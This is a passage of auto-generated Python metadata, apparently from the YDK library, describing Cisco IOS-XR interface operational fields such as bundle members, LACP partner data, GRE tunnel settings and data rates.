''',
'partner_port_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-port-priority', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Priority of the partner's port
''',
'partner_port_priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-port-state', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' LACP state of the partner's port
''',
'partner_port_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-system-mac-address', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' MAC Address used to identify the partner system
''',
'partner_system_mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('partner-system-priority', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' System priority of partner system
''',
'partner_system_priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('selected-aggregator-id', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' MIB ifindex of selected bundle
''',
'selected_aggregator_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'link-data',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData.MemberMuxStateReasonData' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData.MemberMuxStateReasonData',
False,
[
_MetaInfoClassMember('reason-type', REFERENCE_ENUM_CLASS, 'BmStateReasonTargetEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmStateReasonTargetEnum',
[], [],
''' The item the reason applies to
''',
'reason_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('severity', REFERENCE_ENUM_CLASS, 'BmSeverityEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmSeverityEnum',
[], [],
''' The severity of the reason
''',
'severity',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'member-mux-state-reason-data',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData',
False,
[
_MetaInfoClassMember('error', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Internal value indicating if an error occurred
trying to put a link into the desired state
''',
'error',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-mux-state-reason', REFERENCE_ENUM_CLASS, 'BmMbrStateReasonEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmMbrStateReasonEnum',
[], [],
''' Reason for last Mux state change
''',
'member_mux_state_reason',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-mux-state-reason-data', REFERENCE_CLASS, 'MemberMuxStateReasonData' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData.MemberMuxStateReasonData',
[], [],
''' Data regarding the reason for last Mux state
change
''',
'member_mux_state_reason_data',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-state', REFERENCE_ENUM_CLASS, 'BmdMemberStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmdMemberStateEnum',
[], [],
''' Current internal state of this bundle member
''',
'member_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mux-state', REFERENCE_ENUM_CLASS, 'BmMuxstateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmMuxstateEnum',
[], [],
''' Current state of this bundle member
''',
'mux_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mux-state-reason', REFERENCE_ENUM_CLASS, 'BmMuxreasonEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmMuxreasonEnum',
[], [],
''' Reason for last Mux state change (Deprecated)
''',
'mux_state_reason',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'member-mux-data',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MacAddress' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MacAddress',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'],
''' MAC address
''',
'address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'mac-address',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member',
False,
[
_MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Bandwidth of this member (kbps)
''',
'bandwidth',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('counters', REFERENCE_CLASS, 'Counters' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.Counters',
[], [],
''' Counters data about member link
''',
'counters',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('iccp-node', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Location of member
''',
'iccp_node',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Member's interface name
''',
'interface_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('link-data', REFERENCE_CLASS, 'LinkData' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.LinkData',
[], [],
''' Lacp data about member link
''',
'link_data',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('link-order-number', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Member's link order number
''',
'link_order_number',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('mac-address', REFERENCE_CLASS, 'MacAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MacAddress',
[], [],
''' MAC address of this member (deprecated)
''',
'mac_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-mux-data', REFERENCE_CLASS, 'MemberMuxData' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData',
[], [],
''' Mux state machine data
''',
'member_mux_data',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Member's (short form) name
''',
'member_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('member-type', REFERENCE_ENUM_CLASS, 'BmdMemberTypeEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'BmdMemberTypeEnumEnum',
[], [],
''' Member's type (local/foreign)
''',
'member_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('port-number', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Member's link number
''',
'port_number',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('port-priority', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' The priority of this member
''',
'port_priority',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('underlying-link-id', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Member's underlying link ID
''',
'underlying_link_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'member',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation',
False,
[
_MetaInfoClassMember('member', REFERENCE_LIST, 'Member' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member',
[], [],
''' List of bundle members and their properties
''',
'member',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'bundle-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SerialInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SerialInformation',
False,
[
_MetaInfoClassMember('timeslots', ATTRIBUTE, 'str' , None, None,
[], [],
''' Timeslots separated by : or - from 1 to 31. :
indicates individual timeslot and - represents a
range. E.g. 1-3:5 represents timeslots 1, 2, 3,
and 5.
''',
'timeslots',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'serial-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SonetPosInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SonetPosInformation',
False,
[
_MetaInfoClassMember('aps-state', REFERENCE_ENUM_CLASS, 'SonetApsEtEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'SonetApsEtEnum',
[], [],
''' APS state
''',
'aps_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'sonet-pos-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.SourceIpAddress' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.SourceIpAddress',
False,
[
_MetaInfoClassMember('afi', REFERENCE_ENUM_CLASS, 'TunlPfiAfIdEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunlPfiAfIdEnum',
[], [],
''' AFI
''',
'afi',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ipv4', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' IPv4 address type
''',
'ipv4',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ipv6', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 address type
''',
'ipv6',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'source-ip-address',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.DestinationIpAddress' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.DestinationIpAddress',
False,
[
_MetaInfoClassMember('afi', REFERENCE_ENUM_CLASS, 'TunlPfiAfIdEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunlPfiAfIdEnum',
[], [],
''' AFI
''',
'afi',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ipv4', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' IPv4 address type
''',
'ipv4',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ipv6', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 address type
''',
'ipv6',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'destination-ip-address',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation',
False,
[
_MetaInfoClassMember('destination-ip-address', REFERENCE_CLASS, 'DestinationIpAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.DestinationIpAddress',
[], [],
''' Tunnel destination IP address
''',
'destination_ip_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('df-bit-state', REFERENCE_ENUM_CLASS, 'TunnelKaDfStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunnelKaDfStateEnum',
[], [],
''' DF Bit State
''',
'df_bit_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('keepalive-maximum-retry', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Keepalive retry
''',
'keepalive_maximum_retry',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('keepalive-period', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Keepalive period in seconds
''',
'keepalive_period',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('keepalive-state', REFERENCE_ENUM_CLASS, 'TunnelKaDfStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunnelKaDfStateEnum',
[], [],
''' Keepalive State
''',
'keepalive_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('key', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Key value for GRE Packet
''',
'key',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('key-bit-state', REFERENCE_ENUM_CLASS, 'TunnelKeyStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunnelKeyStateEnum',
[], [],
''' Key Config State
''',
'key_bit_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('source-ip-address', REFERENCE_CLASS, 'SourceIpAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.SourceIpAddress',
[], [],
''' Tunnel source IP address
''',
'source_ip_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('source-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Tunnel source name
''',
'source_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-mode', REFERENCE_ENUM_CLASS, 'TunnelGreModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'TunnelGreModeEnum',
[], [],
''' Tunnel GRE Mode
''',
'tunnel_mode',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-tos', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' GRE tunnel TOS
''',
'tunnel_tos',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-ttl', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' GRE tunnel TTL
''',
'tunnel_ttl',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'tunnel-gre-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.PseudowireHeadEndInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.PseudowireHeadEndInformation',
False,
[
_MetaInfoClassMember('interface-list-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface list Name
''',
'interface_list_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('internal-label', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Internal Label
''',
'internal_label',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('l2-overhead', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' L2 Overhead
''',
'l2_overhead',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'pseudowire-head-end-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.CemInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.CemInformation',
False,
[
_MetaInfoClassMember('dejitter-buffer', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Dejitter buffer length configuredin milliseconds
''',
'dejitter_buffer',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framing', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' If framing is TRUE then the CEM interface is
structure aware ; otherwise it is structure
agnostic
''',
'framing',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('payload', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' Payload size in bytes configured on CEM
interface
''',
'payload',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('timeslots', ATTRIBUTE, 'str' , None, None,
[], [],
''' Timeslots separated by : or - from 1 to 32. :
indicates individual timeslot and - represents a
range. E.g. 1-3:5 represents timeslots 1, 2, 3,
and 5.
''',
'timeslots',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'cem-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.GccInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.GccInformation',
False,
[
_MetaInfoClassMember('derived-mode', REFERENCE_ENUM_CLASS, 'GccDerStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'GccDerStateEnum',
[], [],
''' Derived State
''',
'derived_mode',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('sec-state', REFERENCE_ENUM_CLASS, 'GccSecStateEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'GccSecStateEnum',
[], [],
''' Sec State
''',
'sec_state',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'gcc-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceTypeInformation',
False,
[
_MetaInfoClassMember('bundle-information', REFERENCE_CLASS, 'BundleInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation',
[], [],
''' Bundle interface information
''',
'bundle_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('cem-information', REFERENCE_CLASS, 'CemInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.CemInformation',
[], [],
''' Cem interface information
''',
'cem_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('gcc-information', REFERENCE_CLASS, 'GccInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.GccInformation',
[], [],
''' GCC interface information
''',
'gcc_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-info', REFERENCE_ENUM_CLASS, 'ImCmdIntfTypeEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdIntfTypeEnumEnum',
[], [],
''' InterfaceTypeInfo
''',
'interface_type_info',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('pseudowire-head-end-information', REFERENCE_CLASS, 'PseudowireHeadEndInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.PseudowireHeadEndInformation',
[], [],
''' PseudowireHeadEnd interface information
''',
'pseudowire_head_end_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('serial-information', REFERENCE_CLASS, 'SerialInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SerialInformation',
[], [],
''' Serial interface information
''',
'serial_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('sonet-pos-information', REFERENCE_CLASS, 'SonetPosInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SonetPosInformation',
[], [],
''' SONET POS interface information
''',
'sonet_pos_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('srp-information', REFERENCE_CLASS, 'SrpInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation',
[], [],
''' SRP interface information
''',
'srp_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-gre-information', REFERENCE_CLASS, 'TunnelGreInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation',
[], [],
''' Tunnel GRE interface information
''',
'tunnel_gre_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('tunnel-information', REFERENCE_CLASS, 'TunnelInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelInformation',
[], [],
''' Tunnel interface information
''',
'tunnel_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-type-information',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.DataRates' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.DataRates',
False,
[
_MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Bandwidth (in kbps)
''',
'bandwidth',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-data-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Input data rate in 1000's of bps
''',
'input_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-load', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Input load as fraction of 255
''',
'input_load',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-packet-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Input packets per second
''',
'input_packet_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('load-interval', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of 30-sec intervals less one
''',
'load_interval',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-data-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Output data rate in 1000's of bps
''',
'output_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-load', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Output load as fraction of 255
''',
'output_load',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-packet-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Output packets per second
''',
'output_packet_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('peak-input-data-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Peak input data rate
''',
'peak_input_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('peak-input-packet-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Peak input packet rate
''',
'peak_input_packet_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('peak-output-data-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
